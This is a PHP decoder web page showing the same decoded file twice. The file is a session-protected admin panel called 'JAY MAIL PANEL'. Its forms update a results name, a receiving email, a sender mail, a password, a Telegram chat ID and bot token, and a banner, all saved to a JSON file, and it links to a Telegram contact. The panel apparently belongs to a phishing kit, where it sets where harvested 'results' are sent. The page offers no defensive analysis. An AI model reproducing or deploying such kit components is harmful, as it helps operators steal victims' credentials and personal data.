Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php session_start(); // Configuration variables $location = 'adminlogin.php'; $tit..

Decoded Output download

<?php 
session_start(); 
 
// Configuration variables 
$location = 'adminlogin.php'; 
$title = 'JAY WEB PANEL'; 
$heading = 'JAY MAIL PANEL'; 
$owner = 'https://t.me/jayidschanel'; 
$file = 'jay/web/here/jay.json'; 
 
// Check if user is logged in 
if (!isset($_SESSION['username'])) { 
    header('Location: ' . $location); 
    exit; 
} else { 
    $username = $_SESSION['username']; 
} 
 
// Read JSON data from file 
$jsonString = file_get_contents($file); 
$data = json_decode($jsonString, true); 
 
// Update functions 
function updateField($fieldName, $newValue, &$data, $file, $location, $message) { 
    if (isset($_POST[$fieldName])) { 
        $data[$fieldName] = $newValue; 
        $updatedJsonData = json_encode($data, JSON_PRETTY_PRINT); 
        if (file_put_contents($file, $updatedJsonData) !== false) { 
            header('Location: ' . $location . '?msg=' . urlencode($message)); 
            exit; 
        } else { 
            die('Failed to update ' . $fieldName . '. Please try again.'); 
        } 
    } 
} 
 
// Update actions 
updateField('name', $_POST['newName'] ?? null, $data, $file, $location, 'Name Updated Successfully. Please Login Again'); 
updateField('email', $_POST['newEmail'] ?? null, $data, $file, $location, 'Email Updated Successfully. Please Login Again'); 
updateField('sender', $_POST['newSender'] ?? null, $data, $file, $location, 'Sender Mail Updated Successfully. Please Login Again'); 
updateField('password', $_POST['newPass'] ?? null, $data, $file, $location, 'Password Updated Successfully. Please Login Again'); 
updateField('chat', $_POST['newChat'] ?? null, $data, $file, $location, 'Chat ID Updated Successfully. Please Login Again'); 
updateField('bot', $_POST['newBot'] ?? null, $data, $file, $location, 'Bot Token Updated Successfully. Please Login Again'); 
updateField('banner', $_POST['newBanner'] ?? null, $data, $file, $location, 'Banner Updated Successfully. Please Login Again'); 
?> 
 
<!DOCTYPE html> 
<html lang="en"> 
<head> 
    <meta charset="UTF-8"> 
    <meta http-equiv="X-UA-Compatible" content="IE=edge"> 
    <meta name="viewport" content="width=device-width, initial-scale=1.0"> 
    <title><?php echo htmlspecialchars($title); ?></title> 
    <link rel="stylesheet" href="styles/data.css"> 
    <link href="https://fonts.googleapis.com/css2?family=Outfit&family=Rajdhani:wght@600&display=swap" rel="stylesheet"> 
    <link rel="stylesheet" href="https://site-assets.fontawesome.com/releases/v6.5.1/css/all.css"> 
    <style> 
        label { 
            display: block; 
        } 
        h2 { 
            font-size: 1.4em; 
        } 
    </style> 
</head> 
<body> 
    <div class="container"> 
        <div class="login-box"> 
            <div class="heading"> 
                <h2><?php echo htmlspecialchars($heading); ?></h2> 
            </div> 
            <div class="form"> 
                <div class="inputs"> 
                    <!-- Display Current Data --> 
                    <label for="currentMail"> 
                        <p><b>Current Email Address:</b></p> 
                    </label> 
                    <input type="text" class="input" name="currentMail" readonly value="<?php echo htmlspecialchars($data['email']); ?>"><br><br> 
 
                    <label for="currentName"> 
                        <p><b>Current Results Name:</b></p> 
                    </label> 
                    <input type="text" class="input" name="currentName" readonly value="<?php echo htmlspecialchars($data['name']); ?>"><br><br> 
 
                    <label for="currentChat"> 
                        <p style="color: #5700fa"><b>Current Chat ID:</b></p> 
                    </label> 
                    <input type="text" class="input" name="currentChat" readonly value="<?php echo htmlspecialchars($data['chat']); ?>"><br><br> 
                     
                    <!-- Forms for Updating Data --> 
                    <form method="post"> 
                        <div id="emailUpdate"> 
                            <input type="email" name="newEmail" required class="input" placeholder="Enter New Email Address"> 
                            <button name="emailUpdate" type="submit">UPDATE</button> 
                        </div> 
                    </form> 
                    <form method="post"> 
                        <div id="nameUpdate"> 
                            <input type="text" name="newName" required class="input" placeholder="Enter New Results Name"> 
                            <button name="nameUpdate" type="submit">UPDATE</button> 
                        </div> 
                    </form> 
                    <form method="post"> 
                        <div id="senderUpdate"> 
                            <input type="text" name="newSender" required class="input" placeholder="Enter New Sender Mail" disabled> 
                            <button name="senderUpdate" type="submit">UPDATE</button> 
                        </div> 
                    </form> 
                    <form method="post"> 
                        <div id="passUpdate"> 
                            <input type="password" name="newPass" required class="input" placeholder="Enter New Password"> 
                            <button name="passUpdate" type="submit">UPDATE</button> 
                        </div> 
                    </form> 
                    <form method="post"> 
                        <div id="chatUpdate"> 
                            <input type="number" name="newChat" required class="input" placeholder="Enter New Chat ID" minlength="7"> 
                            <button name="chatUpdate" type="submit">UPDATE</button> 
                        </div> 
                    </form> 
                    <form method="post"> 
                        <div id="botUpdate"> 
                            <input type="text" name="newBot" required class="input" placeholder="Enter New Bot Token"> 
                            <button name="botUpdate" type="submit">UPDATE</button> 
                        </div> 
                    </form> 
                    <form method="post"> 
                        <div id="bannerUpdate"> 
                            <input type="text" name="newBanner" required class="input" placeholder="Enter New Banner URL" disabled> 
                            <button name="bannerUpdate" type="submit">UPDATE</button> 
                        </div> 
                    </form> 
                </div> 
            </div> 
            <div class="help"> 
                <p>Need Help? <a href="<?php echo htmlspecialchars($owner); ?>">CONTACT HERE</a></p> 
            </div> 
            <div class="logout"> 
                <form method="post" action="logout.php"> 
                    <button type="submit">Logout</button> 
                </form> 
            </div> 
        </div> 
    </div> 
</body> 
</html> 

Did this file decode correctly?

Original Code

<?php
session_start();

// Configuration variables
$location = 'adminlogin.php';
$title = 'JAY WEB PANEL';
$heading = 'JAY MAIL PANEL';
$owner = 'https://t.me/jayidschanel';
$file = 'jay/web/here/jay.json';

// Check if user is logged in
if (!isset($_SESSION['username'])) {
    header('Location: ' . $location);
    exit;
} else {
    $username = $_SESSION['username'];
}

// Read JSON data from file
$jsonString = file_get_contents($file);
$data = json_decode($jsonString, true);

// Update functions
function updateField($fieldName, $newValue, &$data, $file, $location, $message) {
    if (isset($_POST[$fieldName])) {
        $data[$fieldName] = $newValue;
        $updatedJsonData = json_encode($data, JSON_PRETTY_PRINT);
        if (file_put_contents($file, $updatedJsonData) !== false) {
            header('Location: ' . $location . '?msg=' . urlencode($message));
            exit;
        } else {
            die('Failed to update ' . $fieldName . '. Please try again.');
        }
    }
}

// Update actions
updateField('name', $_POST['newName'] ?? null, $data, $file, $location, 'Name Updated Successfully. Please Login Again');
updateField('email', $_POST['newEmail'] ?? null, $data, $file, $location, 'Email Updated Successfully. Please Login Again');
updateField('sender', $_POST['newSender'] ?? null, $data, $file, $location, 'Sender Mail Updated Successfully. Please Login Again');
updateField('password', $_POST['newPass'] ?? null, $data, $file, $location, 'Password Updated Successfully. Please Login Again');
updateField('chat', $_POST['newChat'] ?? null, $data, $file, $location, 'Chat ID Updated Successfully. Please Login Again');
updateField('bot', $_POST['newBot'] ?? null, $data, $file, $location, 'Bot Token Updated Successfully. Please Login Again');
updateField('banner', $_POST['newBanner'] ?? null, $data, $file, $location, 'Banner Updated Successfully. Please Login Again');
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title><?php echo htmlspecialchars($title); ?></title>
    <link rel="stylesheet" href="styles/data.css">
    <link href="https://fonts.googleapis.com/css2?family=Outfit&family=Rajdhani:wght@600&display=swap" rel="stylesheet">
    <link rel="stylesheet" href="https://site-assets.fontawesome.com/releases/v6.5.1/css/all.css">
    <style>
        label {
            display: block;
        }
        h2 {
            font-size: 1.4em;
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="login-box">
            <div class="heading">
                <h2><?php echo htmlspecialchars($heading); ?></h2>
            </div>
            <div class="form">
                <div class="inputs">
                    <!-- Display Current Data -->
                    <label for="currentMail">
                        <p><b>Current Email Address:</b></p>
                    </label>
                    <input type="text" class="input" name="currentMail" readonly value="<?php echo htmlspecialchars($data['email']); ?>"><br><br>

                    <label for="currentName">
                        <p><b>Current Results Name:</b></p>
                    </label>
                    <input type="text" class="input" name="currentName" readonly value="<?php echo htmlspecialchars($data['name']); ?>"><br><br>

                    <label for="currentChat">
                        <p style="color: #5700fa"><b>Current Chat ID:</b></p>
                    </label>
                    <input type="text" class="input" name="currentChat" readonly value="<?php echo htmlspecialchars($data['chat']); ?>"><br><br>
                    
                    <!-- Forms for Updating Data -->
                    <form method="post">
                        <div id="emailUpdate">
                            <input type="email" name="newEmail" required class="input" placeholder="Enter New Email Address">
                            <button name="emailUpdate" type="submit">UPDATE</button>
                        </div>
                    </form>
                    <form method="post">
                        <div id="nameUpdate">
                            <input type="text" name="newName" required class="input" placeholder="Enter New Results Name">
                            <button name="nameUpdate" type="submit">UPDATE</button>
                        </div>
                    </form>
                    <form method="post">
                        <div id="senderUpdate">
                            <input type="text" name="newSender" required class="input" placeholder="Enter New Sender Mail" disabled>
                            <button name="senderUpdate" type="submit">UPDATE</button>
                        </div>
                    </form>
                    <form method="post">
                        <div id="passUpdate">
                            <input type="password" name="newPass" required class="input" placeholder="Enter New Password">
                            <button name="passUpdate" type="submit">UPDATE</button>
                        </div>
                    </form>
                    <form method="post">
                        <div id="chatUpdate">
                            <input type="number" name="newChat" required class="input" placeholder="Enter New Chat ID" minlength="7">
                            <button name="chatUpdate" type="submit">UPDATE</button>
                        </div>
                    </form>
                    <form method="post">
                        <div id="botUpdate">
                            <input type="text" name="newBot" required class="input" placeholder="Enter New Bot Token">
                            <button name="botUpdate" type="submit">UPDATE</button>
                        </div>
                    </form>
                    <form method="post">
                        <div id="bannerUpdate">
                            <input type="text" name="newBanner" required class="input" placeholder="Enter New Banner URL" disabled>
                            <button name="bannerUpdate" type="submit">UPDATE</button>
                        </div>
                    </form>
                </div>
            </div>
            <div class="help">
                <p>Need Help? <a href="<?php echo htmlspecialchars($owner); ?>">CONTACT HERE</a></p>
            </div>
            <div class="logout">
                <form method="post" action="logout.php">
                    <button type="submit">Logout</button>
                </form>
            </div>
        </div>
    </div>
</body>
</html>

Function Calls

None

Variables

None

Stats

MD5 446d8e750a14a49aea80c03cd9d3ca0f
Eval Count 0
Decode Time 57 ms